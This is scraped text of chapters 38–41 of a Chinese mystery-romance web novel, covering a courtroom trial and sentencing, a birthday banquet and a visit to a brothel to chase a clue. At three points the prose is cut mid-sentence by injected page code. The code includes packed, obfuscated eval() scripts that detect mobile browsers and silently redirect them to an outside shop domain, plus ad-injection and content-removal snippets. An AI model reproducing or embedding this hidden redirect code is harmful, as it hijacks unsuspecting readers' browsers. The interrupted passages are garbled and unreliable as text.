觉察到晏返的沉默,林雪意长长叹口出一口气,道:“只是梦见过罢了。” 她往前走了几步,想起了方才闪过心头的疑惑,问:“你呢?为何会知道蛊毒?” “我小时候跟着我爹四处游玩,听说过一些。”晏返脚步不停,很快就走到了林雪意身边,侧过视线觑着她微白的小脸,轻一抬眉,“你不也说本世子见多识广吗?” 林雪意扭头看他一眼,一笑置之。 晏返却没再移开目光。 他看着看着,不由有些出神。 她面容精致,乌发如墨,纤细的身段裹在雪白的狐裘里,廊外的雪衬得她整个人都像是在发光,像极了晶莹剔透的瓷娃娃,精妙绝伦却又好像轻轻一碰就会碎。 他不想她碎。 天际阴霾渐散,耀眼的阳光从云层中渐次透出,映照得雪地一片莹白,就连屋中也亮了个通透。 搁在桌上的官服在满室微光中显出清透的水青色,透过窗纸的光线打落在上面,外层的冰绡便泛起柔和珠光。 林雪意褪下常服,仔细穿上官服,端正坐在了梳妆台前,对着铜镜戴官帽。 微黄的镜子里映出一张眉目如画的脸庞,轮廓柔和,五官端丽,柳眉间却自有一股英气。一头乌发收束在银色发冠中,其上玉珠青翠晶莹,垂落脑后的流苏摇曳生辉。 整装完毕,林雪意敛容出屋。她行至院门,对先一步等在那里的马知县颔首示意。两人互道了一声“请”,便朝公堂走去。 通往公堂的路上,一边是严阵以待的官署衙差,另一边是府门处闻声而来的听审百姓。 林雪意望着高悬在公堂上的匾额,外头纷乱细碎的议论声传入耳中,有人惊觉原来她就是传言中的女御史,亦有人夸赞这身官服真是神气。 她耳边不禁幽幽浮起第一次看到这官服时,深月欣喜的话。 她说,姑娘,这官服可真俊呀。 或许于世人而言,这是一身衣裳,一个头衔,一段奇闻轶事;可于她,这是惩奸除恶的责任,是拨云见日的重担,是让魑魅魍魉无所遁形的决心。 素手执起惊堂木,一声清响驱散了繁杂絮语,清亮语声在公堂之上朗朗响起—— “带犯人秦卓!” 38. 攻心 秦卓很快被带上公堂,他旁若无人地扫视四周,接着被两名狱卒按着跪下了。 林雪意眼神锐利地望着他,道:“秦卓,三日前你在公堂上对自己指使冯玉拐骗秦苒悦一事矢口否认。今日本官再问你,你和冯玉,是否相识?” 秦卓眼底噙着些漠然,很是不屑地道:“大人是说牢里的那个疯子吗?我不认得他。” “那可巧了。你不认识,正好有人认识。”林雪意转而向堂下道,“来人,带贼人郑二!” 秦卓目光一闪,眼珠下意识地微微转动起来。 在外头渐起的议论声中,贼眉鼠眼的郑二被压上了公堂。 他似乎此前并不知道问案的大人是个女子,认出端坐公堂上的林雪意就是不久前在牢房里问话的御史大人后,脸上满是震惊。 他只觉得堂上一身官服的御史大人英气更甚,一听到惊堂木的声音就双腿一软跪下了。 林雪意正色问道:“郑二,你在供状上所言,冯玉替秦卓行诱拐女子之事,是否属实?” 郑二在牢中已被唬得七荤八素,又听堂上传来的问话声隐含怒意,便头也不敢抬,道:“小人所言,句句属实,不敢欺瞒大人。” “那你仔细看看,堂上跪着的,可是你认识的秦卓本人?” 郑二扭头看了秦卓一眼,点头道:“是他,就是他!” “秦卓,”林雪意目光一转,扬声道,“你伙同郑二、冯玉等人,拐骗女子,并将她们囚禁在云雾山的山洞之中。你为谋家产,借冯玉行事之便,指使他诱拐秦苒悦,最终导致秦苒悦身死。证据确凿,你可认罪?” 秦卓顿时面色铁青,不发一语。 堂外听审的百姓中却爆发出了一片骂声。他们此前单是知道秦二老爷觊觎家产,因此毒害兄长秦大老爷,并且有谋害自己的侄女的嫌疑,却没料到他竟是如此的衣冠禽兽,还做下拐骗拘禁无辜女子的勾当。 惊堂木顿上公案,周围稍微静了静,就听得林雪意又问:“秦卓,到底是谁让你行拐骗拘禁女子之事?匪首是谁?郑二所说的离公子又是谁?还不从实招来!” 林雪意语声落毕,外头彻底安静下来。 众人都没想到秦苒悦的死会牵出另外一桩案子来。秦二老爷人面兽心的背后似乎另有内情,那又是何人如此丧心病狂? 秦卓这才开了口,沉声道:“大人,秦苒悦被害确实与我有关,囚禁那些女子也是我自己的主意,没有人命令我。” “没有人命令你?那你的赃物又是从何而来?”林雪意冷声问。 “我不知道大人在说什么。”秦卓眼神木然,若无其事道,“我家中中积蓄皆是经营铺子所得,并无赃物一说,大人莫要血口喷人。” 秦卓的嘴硬本就在林雪意的意料之中,因此她没有被激怒,只是转而吩咐衙役:“将郭记当铺的掌柜郭术带上来!” 在外头渐起的议论声中,当铺掌柜郭术被押上公堂,他哆哆嗦嗦地和秦卓对视了一眼,继而别开目光跪下了。 “郭术,”林雪意先对郭掌柜道,“官府从你的当铺中查抄到数箱来历不明的珠宝器物,你借转手出售的机会,将那些赃物置换成真金白银。洗白赃款,乃是死罪,还不速速招来!” “冤枉啊大人!”郭术磕头喊冤,哆哆嗦嗦道,“小、小人并非当铺真正的东家,只是……只是收了秦二老爷的钱替他办事,并不知那些东西是赃物啊!” 林雪意看向秦卓,道:“秦卓,眼下人证物证俱在,你还不肯承认,是有人在背后指使吗?” 秦卓剜了郭术一眼,咬紧牙关道:“我无可奉告,大人要杀便杀。” 林雪意顿了顿,没有再接着问下去,而是淡然道:“秦卓,你罪行累累,法网难逃。今日升堂,一是为将真相大白于天下,二是念及你尚有亲眷,本官想让你们见最后一面。” 秦卓闻言一滞,看向林雪意的目光透出些警惕来。 林雪意一拍惊堂木,朗声道:“来人,带秦永!” 秦永灰头土脸地被带了上来。他平日里本是好吃好喝供着,在牢中关了两日后明显瘦削了许多,整个人蓬头垢面的。 他一看见秦卓,就哭丧着脸在秦卓身边跪下来,对他道:“爹,都是我不好,我不该偷拿库房的东西出去当,连累了你……” 秦卓看了他一眼,额角青筋暴起,眼底隐隐泛红,出口斥道:“住口!这跟你有何干?” 林雪意看在眼里,微凝起唇角,悠悠道:“秦公子典当赃物或许是无心之举,可秦二夫人通风报信可就是有心为之了。” 她话中所指再明显不过,秦卓的身体陡然僵住,秦永眼底也闪现出惊慌之色。 “传秦夫人曹氏。”林雪意道。 过不多时,曹氏也被带了上来。她面色蜡黄,行动局促,似乎一直处在忧惧之中。她望了丈夫和儿子一眼,安顺跪下,低眉道:“民妇曹氏,拜见大人。” “曹氏,”林雪意问她,“秦卓将被拐女子拘禁于山洞中,三日前事情败露,你可曾替他向同伙传递消息?” 曹氏刚要说话,秦卓就打断了她,对林雪意道:“大人!我夫人对此事并不知情,你莫要冤枉于她!” “大人,”曹氏却不为所动,接着道,“民妇确实曾替我家老爷通风报信,民妇愿受责罚。” “夫人!”秦卓一直紧绷的神情终于有所动摇,他看向曹氏,眼底是难以掩饰的惊诧,“你对此事一无所知,这又是何苦?” 曹氏凝眉哀戚地看着他,道:“老爷,你糊涂啊!” 秦卓顿时哽住。 “我们虽未分到多少家产,但食能果腹,衣能遮体,永儿虽不懂事,但好在身体康健,这日子还是过得下去的。”曹氏说着说着,就落下泪来,“你为什么要铤而走险,铸下如此大错?” “为什么?因为我不甘心!”秦卓已是双眼赤红,怒道,“我跟他秦朗都是我爹的儿子,我跟他年龄相仿,甚至论才干,我比他有过之而无不及!可他坐拥秦家家业,而我却过得捉襟见肘!” 曹氏不再说话,只是看着他,流泪摇头。 秦卓又道:“就因为我跟他不是从同一个娘胎里出来,他是嫡,我是庶,我便要在他面前装乖顺,窝囊一辈子吗?我不服!” 四周一时安静得针落可闻,打破这片死寂的是林雪意不徐不疾的声音:“这么说,你是承认自己利用那些女子进行金钱交易了?你背后确实另有他人。” “那又如何?”秦卓自知话到此处已无法隐瞒,正值气血上涌,他不再回避这件事,情绪激动道,“人不为己,天诛地灭!若不是你们横插一脚,等到事成,金钱、权势都会是我掌中之物!秦朗区区一个商贾,又能算得了什么!” 林雪意叹了口气,扭头瞥着后背那幅海水朝日图,对后头道:“秦大老爷,您可都听清楚了?” 秦卓登时一僵,就见秦大老爷秦朗在余管家的搀扶下,步履蹒跚地从公堂后走出来。 出现在公堂上的秦大老爷似乎老了十岁,须发皆白,满脸病容。 他行到秦卓面前,在衙役搬来的椅子上坐下,像是第一次认识秦卓一般,打量了他许久才颤声道:“二弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493531|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我从不知,你是这么看我的。” “大哥。”秦卓直视着他,冷冰冰道,“你就算是觉得自己要死了,也没打算要照拂一下我这个兄弟,现在我是阶下囚,你就不要再演戏了。” 秦大老爷轻轻摇了摇头,冲身旁的余管家抬了抬手,余管家便从袖中取出一个信封,上前递给了秦卓。 秦卓落在信封上的视线不由微微一凝,他狐疑地扫了秦大老爷一眼,将信封接过来打开。 “这是我前段时间立下的遗嘱。”秦大老爷一边看秦卓拆信一边断断续续道,“你我虽不是一母所出,但我从未把你当成外人。我见你虽只有几间小铺子,却也能经营得颇有起色,便知你有真才实干,假以时日,定能成大事。” 秦大老爷说着咳嗽了一阵,又接着道:“入秋以后,我自觉每况愈下,便有了死后将家业交托与你的念头。可我确实是有私心,苒悦毕竟是我的心头肉,又是我骄纵惯了的,她爱经商,我也担心自己西去之后,她居于后宅会不自在,就想着将家产一分为二,一份给你,一份给她。” 秦卓此时已经将遗嘱展开,上面白纸黑字,与秦大老爷说的并无二致,他拿着遗嘱的手不由颤抖起来。 “二老爷,”一旁的余管家痛心道,“这虽然只是一半家产,但稍加经营,不比大老爷从老太爷手里接过来的时候差啊!” 像是想要制止颤抖一般,秦卓攥住了拳头,遗嘱皱在了他手心里。他咬住嘴唇,看向周围的每一个人,目光中流露出无法遏制的惊惶。 秦大老爷叹出一口气,道:“也是我这个做大哥的,平日里对你关心不够。你自小就比别人敏感些,又从不开口向我要什么,我担心若是直接赠与你东西,你会觉得是施舍。其实只要你说,我又怎么会不答应?” “你……你骗人!”秦卓整个人都微微颤抖起来,他看着秦大老爷,双眼几乎要瞪圆了,“一定是你跟官府联起手来,想诓骗我!我就是死,也不会遂你们的愿!” 秦大老爷巍巍颤颤地站起身,走到堂中,竟是对着林雪意跪下了。 “秦大老爷,您这是何故?”林雪意不解其意,蹙眉问道。 “大人,我二弟犯下大罪,我这个兄长也有疏于管教之过。”秦大老爷转头看了一眼脸色僵硬的秦卓,道,“求大人留他一条生路,我愿代为受过。” “你别假惺惺的!”秦卓怒道。 “大人!”曹氏跪着上前磕头道,“民妇也有错,民妇虽不知情,但愿与我家老爷同罪!” 秦卓怒气更甚,斥骂道:“你一介妇人知道些什么?说什么同罪,你不要命了吗!” “老爷,”曹氏回身看一眼秦卓,眼中含泪,语气却坚定:“你我结发为夫妻,你做下如此错事,我还有何脸面留在这里?你若是流放,我与你一起去,你若是要砍头,我也不会独活。不论大人如何判,我都会跟你一起赎罪。” 秦永已是一把鼻涕一把眼泪地流了满脸,听了曹氏的话,他哭喊着道:“爹,你回头吧!你赶紧如实交代,求大人饶你一命啊!” 秦卓沉默下来,整个人就跟断了线的木偶一般,只有那一双浑浊的眼睛看得出是活的,因为有浓烈的情绪在眼底翻涌。 林雪意不置一词地看着秦卓,片刻之后,就见他抬头幽幽地看过来,眼含怨恨:“大人,您可真会诛心!” 被秦卓说中心中想法,林雪意只微微一笑,朱唇轻启:“本官诛心,那也要你还有心。” 秦卓的灰暗的目光垂了下去,一瞬间像是苍老了许多。 他声音沙哑地道:“我说。” 39. 判决 这案情过于骇人听闻,公堂上顿时安静下来,就连在衙门外聚集的人群里都不再有一丝声音。 在曹氏按下的啜泣声中,秦卓的声音缓缓响起:“两年前,因为我的一时疏忽,铺子出现很大的亏损,面临倒闭。我想去求大哥帮忙,却又觉得面上无光。这个时候,有人突然找上了我。那人自称素馨,雌雄莫辨……” 秦卓说素馨精通乔装之术,每次见他都是不同样貌,时男时女,他无从知道他真正的样貌,也暗知他来头不小。 素馨说自己主人身患重病,需要一些年轻女子试药,如果秦卓能够替他们办事,他们必会委以重金。 “……他说藏匿之所十分隐秘,人手也已安排妥当,我只要找到符合条件的女子,设法抓到她们就行。我那时候正急着用钱,财迷心窍,就答应了。”秦卓说着顿了顿,似乎陷入了久远的回忆里。 “那藏匿之所就是指云雾山山腹中的溶洞?”林雪意适时问道。 “就是那里。”秦卓回过神来,道,“那之后,我便就招揽了冯玉等人拐骗女子。” “那‘离公子’又是何人?” 秦卓想了想,道:“我只见过他一次,是素馨带他来的。那时他带着面具,言语间提到过梁州。” 梁州。 再次听到这个地点,林雪意不动声色地掐紧了手心。 她几乎是屏住了呼吸问:“离公子过来是做什么的?” “给那些女子试的药还是个胚子,需要调整配方,离公子便是来调配药胚的。” 秦卓说的倒是能跟郑二的证词对得上,但是他也不知道离公子真正的身份。看来还是要顺着那些女子的血进行追查。 想到这里,林雪意问:“郑二说你们会定期取那些女子的血运走,究竟是用来做什么?” 秦卓摇了摇头,道:“素馨并未说那是做什么用的,只交代我在取血之后,将琉璃瓶放入装有冰块的箱子里保存,再运到码头装上货船。” “可知是运向何处?”林雪意连忙追问。 “我只知是要运到琅琊渡,他们的人会在那里接手,再转运至别处。” 林雪意闻言不禁眉心微蹙。 琅琊渡虽名为渡口,却是泤水河从此处向南的一处港口。那里供船只停泊,装卸货物,是处于徐州的一处水路枢纽,规模之大,可以想见。 对方在琅琊渡中转,就如滴水入海,寻找起来无异于大海捞针。 “大人,我知道的都已经说了。”秦卓眼中满是沧桑,跟最初的趾高气扬已是判若两人,“我不求减罪,只求大人不要为难我的家人。” “小人之心!御史大人自有公断。”一旁的马知县闻言斥道。 他说完又低声提醒林雪意:“大人,眼下案情明了,还请大人裁断。” 林雪意收回思绪,视线投向堂外的昭昭天日。 她到青州不过六日,已是风波迭起,秦卓涉足的这桩案子年深日久,不知让多少人生活在水深火热之中,是时候给青州百姓一个交代了。 围聚在衙门外头的百姓听见端坐在公堂上的御史大人敲响了惊堂木,隐含威仪的清澈语声在公堂之上传开,直散进冬日清寒的空气中—— “凶犯秦卓,其罪有五。” “伙同冯玉、郑二等凶徒,拐骗拘禁女子前后共一十八人,致其中八名女子中毒身亡,余下女子皆有不同程度损伤。此为罪之一。” “收受私藏来路不明之财,指使郭术开设郭记当铺,洗白赃款。此为罪之二。” “因贪图家产,买通厨子萧大洪对秦家家主下毒,致使秦大老爷命悬一线。此为罪之三。” “指使冯玉诱拐秦家大小姐秦苒悦,最终致使秦苒悦死于冯玉之手。此为罪之四。” “为阻挠官府办案,指使秋声加害证人秋意,致秋意身死。此为罪之五。” 秦卓的罪行令人发指,堂外众人听得皆是怒目圆睁,青筋暴起,但却无一人喧哗,只等堂上宣判。 “……桩桩件件,皆是死罪。如今数罪并罚,判,斩立决!” 决绝的话音掷地,众人只见那纤细素手一扬,落地的朱签便激起了一声仿佛能穿越亘古的清响。 顿时,公堂之外,呼声四起。 涌起的人声就如泄闸之水,直漫过雪地涌上公堂—— “判得好!” “作恶多端,死有余辜!” “是啊,恶有恶报!” “这种人死不足惜!死了都是便宜他了!” …… 曹氏听到判决便晕厥过去,秦永涕泗横流抱住秦卓不放,被摇头叹息的秦大老爷和余管家拉住。 秦卓脸色灰败地被狱卒押出衙门,通往法场的囚车车轮弗一转动,便有臭鸡蛋和烂菜叶从人群中掷出,劈头盖脸地打在秦卓身上。 往日里衣冠整洁的秦二老爷,此时成了人人喊打的过街老鼠。 滑腻的液体从蓬乱的头发上滴下,腐臭之气笼罩周身,夹道的咒骂之声不绝于耳。 秦卓仰起头,一阵近乎癫狂的笑声从他喉间溢出。 “哈哈哈哈……我该死!我是该死!有什么报应,都冲我来吧!都冲我来!哈哈哈哈哈……” 秦卓的喊叫最终随着囚车的远去而淹没在唾骂声中,这场跨时两年的大案终于尘埃落定。 · 日近西山,天际彤云密布。 绚烂霞光落在院落的残雪中,折射出一片柔和的微芒。 监斩秦卓归来,林雪意挂念深月,一跨进院门就朝深月的屋子走去。 周老大夫说她没有中毒的症状,昏迷大约是因为受了惊吓,又不适应山洞中的环境所致,至多这一两日便能醒了。 林雪意算着时辰推开屋门,眼前所见却让她心中陡然一悬——屋中一只药碗打碎在地,而原本躺在床上的深月已经不知所踪。 就在林雪意惊疑不定间,远处突然传来了一声尖叫。 “深月!” 林雪意的心跳到了嗓子眼,她即刻跑出屋子,向声音传来的方向奔去。 深月的声音似乎是从厨房的方向传来的,林雪意匆匆行至半路,晏返跟墨云也跟了上来。 前方厨房的门正虚掩着,林雪意冲上去一把推开,被眼前景象弄得目瞪口呆。 只见一只碗打碎在地上,面条连汤洒了一地,而在那滩面汤的一侧站着的深月正十分为难地挠头。 “姑娘!”深月闻声看向门口,见到林雪意后眼睛一亮,继而面露歉然,道,“对不起,我本来想给你煮碗面的,不小心搞砸了。” 心头紧绷的弦蓦然一松,林雪意只觉得鼻子一酸,跑上前抱住了深月:“不要紧,你没事就好。” 听到动静的马知县也赶了过来,见到满地狼藉,不禁疑惑出声:“这是……” 林雪意松开深月,正要解释,深月先一步道:“马大人,这事怪我。今天姑娘生日,我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573191|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想煮长寿面给姑娘庆生,可是刚才一个没留意就……变成这样了。” “今日是你生辰?”晏返投向林雪意的视线中含着淡淡的惊讶。 林雪意点了点头,笑道:“若不是深月,我都忘了这一茬了。” 马知县一捋胡须,提议道:“大人连日为案件操劳,竟连自己的生辰忘了,实在是因公忘私。不如就让下官备下筵席,为大人庆祝生辰?” “马大人,不可。”林雪意收敛容色道,“生辰只是私事,怎可让马大人破费?何况我过生辰并不讲究,一碗面足矣。” 不料马知县竟愁眉苦脸地叫起来:“哎呦,大人,您就给下官一次机会吧。” 林雪意不明所以,疑惑地打量他:“什么机会?” “大人有所不知,自打您到泤水县以后,下官一直想要找个机会略尽地主之谊。”马知县苦笑着解释道,“结果眼看着您就快离开了,下官这客都没请成。” 马知县这话说得坦诚,林雪意哑然失笑,道:“我已叨扰马大人多日,怎敢再劳烦您?” “不麻烦,一点都不麻烦。”马知县一边摆手一边保证,“下官心知大人两袖清风,今日只设小宴,绝不铺张。” 林雪意见盛情难却,下意识朝晏返看去一眼,就见他眼底浮起一丝笑意,冲她点了点头。 她这才应承道:“既是如此,那我就却之不恭了,多谢马大人。” 马知县乐呵呵地让人去曲江楼设宴,林雪意则带着深月回屋换衣服。 “姑娘,今日我虽没看到升堂,但是姑娘一定很威风。”深月一边小心替林雪意卸下官帽一边冲镜子里的林雪意笑。 “你呀。”林雪意笑着摇头,心中却感触颇多。 她们离京才短短数日,深月却像是长大了许多。离京之时,她还因为受到杀手追击而吓破了胆,可如今的她却半句不提自己被贼人抓走的害怕和委屈。 “深月,谢谢你。”林雪意望着她道。 “姑娘和我说什么谢呀。”深月替她重新挽了头发,又从妆奁里挑了一支花簪在她发间比划,一边道,“我没有姑娘的聪明才智,也不懂查案,但我总是想,若能帮上姑娘的忙就好了。” 林雪意抿唇道:“你已经帮了我很多了。” “那就好。”深月粲然一笑,递来一套衣裳,“姑娘,今日就穿这一件吧。” 林雪意瞥见衣裳不禁一怔,讶然问道:“怎么还把这套衣裳带上了?” 那是一套茱萸粉色的衣裳,衣缘处用了同色绣线绣了冰裂梅花的暗纹,简洁又不失俏丽,灵动又不失清致。 这是去岁父亲为了庆祝她的生辰,特意用攒了很久的俸禄去布庄定的。虽然谈不上是多名贵的料子,但她却很喜欢。此番出巡,她想着路上做男子打扮较为方便,因此并没计划带上它。 “我想着姑娘出来查案,今年的生辰定是赶不回京城过了。但是就算出门在外,也要漂漂亮亮,开开心心的呀。”深月仔细替林雪意系好裙带,又耐心地帮她整理妆容。 薄施脂粉,淡扫蛾眉,镜中原本就精致的面容显得越发端庄秀丽,如月轮映衬的一枝海棠。 “姑娘可真好看呀!”深月欣然称赞着,笑盈盈地去开屋门。 林雪意被深月夸得有些不好意思,她低着头走出屋子,院中一道清逸身影便映入眼帘。 暮色垂落,摇曳的廊灯在他身上投落柔和的光晕,衬得他华光灼灼,矜贵隽永。 40. 夫妻双双……咳 随妻赴宴,…… 晏返听见动静侧过身来,目光落在林雪意身上的刹那,舒朗眉眼轻轻一顿,眼底掠过一丝惊艳。 倒是林雪意先开了口,挑眉打趣道:“晏世子这样子有些朴素了啊。” 她虽然这么说,但晏返穿着已不是白日里那般散漫,只是相较平日里花孔雀似的打扮,他现在的样子讲究却不花哨,几乎称得上是规矩。 晏返闻言一笑,那双点沉黑瞳眸就如染了星辉一般,清醇嗓音便在夜色中徐徐划开:“随妻赴宴,自然要穿得得体些,不能让夫人在人前落了面子。” 对方实在语出惊人,林雪意立时扑哧一声笑出来,一双晶亮的水杏眼弯成了月牙。 晏返也望着她笑,道:“这一整日的,总算是见你笑了。” “也谢谢你。”林雪意莞尔道。 晏返一时不知道这话中的“也”是什么意思,目光中流露出些许疑惑来,但见林雪意神情愉快,深月掩嘴偷笑,便双眉一松,同她们一道出了门。 今夜的街道上似乎格外热闹,人流如织,花灯如昼。街道两旁的小贩卖力的吆喝声融入夜色,跟远处人群传出的惊呼声交汇一处。那人声高涨处,激扬的金色铁花溅落进夜空,灿如星雨。 深月看什么都觉得新奇,不知不觉落后了几步。 “你们看,那不是御史大人吗?”前方有结伴而行的几个女子正迎面走来,其中一个眼尖的发现了林雪意,边说边推了推同伴。 “是啊。是御史大人和她的夫君!”另一个女子更加开朗,说着就扬手朝他们打招呼。 林雪意笑着冲她们点点头,同晏返和她们侧身而过。 几名女子有说有笑地走远了,林雪意心中却仍觉有趣,就听耳畔传来晏返幽幽的语声:“平素我只听人称我世子,如今突然多了一个御史大人的夫君的名头,真是新鲜。” 林雪意忍笑看他一眼,问:“世子不高兴了?” “岂敢。”晏返眉眼含笑,戏谑道,“御史大人是凭本事赢得百姓爱戴的,倒是为夫沾光了。” 想起这桩案子,林雪意轻轻叹了一口气,道:“秦卓伏法固然大快人心,可惜有些疑点一时是解不开了。” 晏返轻轻一顿,瞥了她一眼:“疑点?” 林雪意点头道:“那些受秦卓差遣的贼人,都积攒了一笔不少的银两,冯玉肯定也是一样。但无论是在冯玉租住过的地方还是他在南风馆屋子里,都没有发现这笔银子。” 说着她又想起曾经在回溯场景中看到的那份被拐女子名单。 跟银子一样找不到的,还有那份名单。就算名单是冯玉怕走漏风声而被销毁了,那银子也应该还在才对。 一念至此,林雪意眉心微蹙,道:“还有那盒胭脂。” “那盒胭脂又怎么了?”晏返问。 “我没找到冯玉那盒胭脂的来处。” 林雪意虚望着熙熙攘攘的街道,一时有些失神。虽然她在山洞中发现了毒药,但此处却并不出产毒胭脂。那么冯玉手里的那盒胭脂,又是从哪里来的? 额头冷不防被轻弹了一下,林雪意连忙捂住额头,就见晏返正笑着望她:“这些事就先放一放吧,你这愁眉不展的样子,哪里像是要去赴宴?” “好啊,你又偷袭我!”林雪意回过神来,刚想伸手讨回来,对方却早就料到一般抽身大步往前,笑容狡黠。 林雪意到底是有些不服气,迈开步子追了上去。 深月见状想要跟上去,一道高挑身影却突然出现在她面前。 “墨云?”深月莫名其妙地打量他,问,“你从哪儿冒出来的?” “替世子办了点事情。”墨云道。 “哦。”其实墨云去做了什么,深月并不十分感兴趣,反倒是前方林雪意逐渐隐没在人潮中,让她心中有些着急。 她穿过墨云身侧,朝林雪意的背影追去,却听见身后又传来墨云的声音:“我有话要跟你说。” “哦?”这倒是让深月有点感兴趣了。 她停下脚步转身看着他,心想这闷葫芦居然能主动找人说话。 “我……”墨云踌躇片刻,道,“我想跟你说……对不起。” 深月乌溜溜的眼睛不禁睁大了些,十分不解地道:“你跟我道歉做什么?” 当下她就回忆了一下从认识墨云开始所发生的事,她自己除了给了他一拳之外什么都没做,反倒是墨云还救过她两次。虽然他不讨人喜欢,但她实在想不出他做错过什么。 “你是因为信任我才去当饵的,但我还是让你陷入了险境,对不起。”墨云诚恳道。 “噗……”深月总算是明白过来,捧着肚子直乐。 等到肚子都笑痛了,她才努力直起身来,忍笑道:“我那当然是乱说的了,不然我家姑娘怎么会同意我去冒险?” “乱说的?”墨云的目光不由黯了黯。 “是呀。”深月眨巴眨巴眼睛,十分诚实地说,“我一开始就没觉得你一定不会跟丢,所以呢,你也不用自责。” 深月说完就跑跑跳跳去追林雪意了,留下墨云在原地发呆。 望着视线中的那道越跑越远的身影,墨云只觉得心中生出一些说不清道不明的情绪来。他抬手挠了挠头发,快步跟了上去。 林雪意几人到达曲江楼时,马知县和几个捕快都已经先一步等在那儿了。 他们一番寒暄后先后入座,交谈片刻,马知县便端起酒杯,郑重地对林雪意道:“大人,这一杯下官敬您。感谢您勘破这桩悬案,还泤水县安宁。” 林雪意忙道:“马大人无需客气。我奉命出巡,稽查疑案乃是我分内之事,且我初出茅庐,怎么当得起马大人一个‘敬’字?” “御史大人过谦了。”马知县认真道,“若不是大人好谋善断,靠我这样的榆木脑袋,这案子不知道要到猴年马月才破解。” “马大人不必妄自菲薄。”林雪意心有所感,语声诚挚,“断悬案难,但如马大人这般事无巨细,持之以恒更是难得,泤水县有马大人这样的父母官,是百姓之福。” 林雪意说着站起身,举杯环视众人,道:“更何况,这几日若不是马大人和众衙役鼎力协助,凭我一人之力,定然寸步难行。若说敬酒,当是我要先敬诸位一杯才是。” 林雪意一席话,听得马知县眼睛都亮了。他也站了起来,坚持要先敬酒。两人一来二去,席间有衙役笑着说:“二位大人再推让下去,兄弟们都没有酒喝了。” “古人有言,大礼不辞小让。”晏返目光流转,唇角噙笑,道,“二位就一起满饮此杯吧。” 马知县笑道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“世子说得极是,那下官就先干为敬了。” 林雪意也欣然饮尽。酒液入口,她不由微微一顿,发觉这酒的味道十分熟悉。 马知县注意到林雪意的神色,笑道:“大人觉得这酒如何?” “酒香浓郁,味道甘甜,不涩不烈。”林雪意回味片刻,顿时有了头绪,问,“这可是杏子酒?” 这酒的味道跟她在南风馆喝过的杏子酒一模一样。 马知县拊掌道:“正是!” 林雪意道:“这酒着实不错,此处可是有酿酒产业?” “泤水县确实有不少酒家,但多是产米酒。”马知县笑着解释说,“这杏子酒也并不是曲江楼售卖之物,乃是曲江楼陶掌柜的珍藏。” “这……”林雪意心头浮起了微微的疑惑,不禁垂下目光。 见林雪意眉间微露忧色,李捕头道:“大人不必介怀。陶掌柜爱好收藏天下美酒,今日他知道我们是要宴请大人,猜想大人不经常饮酒,坚持要以此酒相赠,以感谢大人为我县惩处恶贼。” “是啊。”另有衙役道,“陶掌柜着实是慷慨。别看这酒是用杏子酿造的,却是十分稀有,这一小坛就值百金,乃是陶掌柜捎人从霞州带回的。我等今日得以一尝,也是托了御史大人的福啊。” 林雪意心头一紧,立刻站了起来。 晏返见她面色有异,抬眸问道:“怎么了?” “我要去一趟南风馆。” 林雪意此言一出,席间众人神色不免有些微妙,不由自主地拿目光往晏返身上打量。 “那走吧。”晏返直截了当地起身,更是让马知县和一众衙役惊掉了下巴。 “马大人,此事容我稍后解释,请代我感谢陶掌柜盛情。”林雪意向席间众人拱手道,“我先行一步,望诸位尽兴。” 林雪意说完便跟晏返一前一后走出酒楼,径直往甜水巷的方向去。 “可是发现了什么端倪?”晏返问。 林雪意点头道:“那杏子酒我在南风馆中喝过,这不正常。” 既然杏子酒非此地特产,而且价格昂贵,南风馆断不会拿来当做寻常宴客的酒水。而柳笙若只是一个普通的小倌,又怎么能够得到这种酒? 曲江楼正好位于繁华的泤水河畔,距离甜水巷并不远。过不多时,南风馆就出现在了两人面前。 “晏世子,可否借你一用?”林雪意侧首问身边的晏返。 晏返唇角一弯,微沉嗓音穿透夜色:“大人的要求,我自然满足。只是不知道,你用什么来还?” “你说了算。” 林雪意说着就抬步上前,果然没走两步就被门口两个打扮得花枝招展的男子拦下了。 “姑娘,此地不做女子生意的。”粉衣小倌柔声劝道。 另一个黄衫小倌也温声道:“是啊,此处不是女儿家该来的地方,姑娘请回吧。” “她进不得,我可能进得?” 那两人闻声投去目光,就见一道颀长身影从绚烂灯影中走出,朗目疏眉,神色冷峭,举手投足宛如神祇,让人不敢抬眸直视。 “那自然是可以的。”其中一人低头道。 “好啊。”晏返一手环过林雪意肩膀,冲她扬眉一笑,神情明媚,“夫人,为夫今天就带你开开眼界。” 41. 生辰快乐 两个小倌当即哽住,拦也不是,不拦也不是,只能眼睁睁地看着晏返拥着林雪意进去。 楼里的众人见到两人并肩齐步进来都看直了眼,有的客人连酒杯里的酒都忘记送到嘴边,就那么直喇喇地往衣襟上倒。 最先反应过来的是南风馆的老鸨,他认出了林雪意就是先前女扮男装来过的薛公子,立即就猜到她身旁之人就是曾经派下属来只会过他,让他好生招待“薛公子”的那位主。 他心念急转,连忙请人带二人去楼上雅间,一边招呼周围的客人吃好喝好,一边紧跟着上了楼。 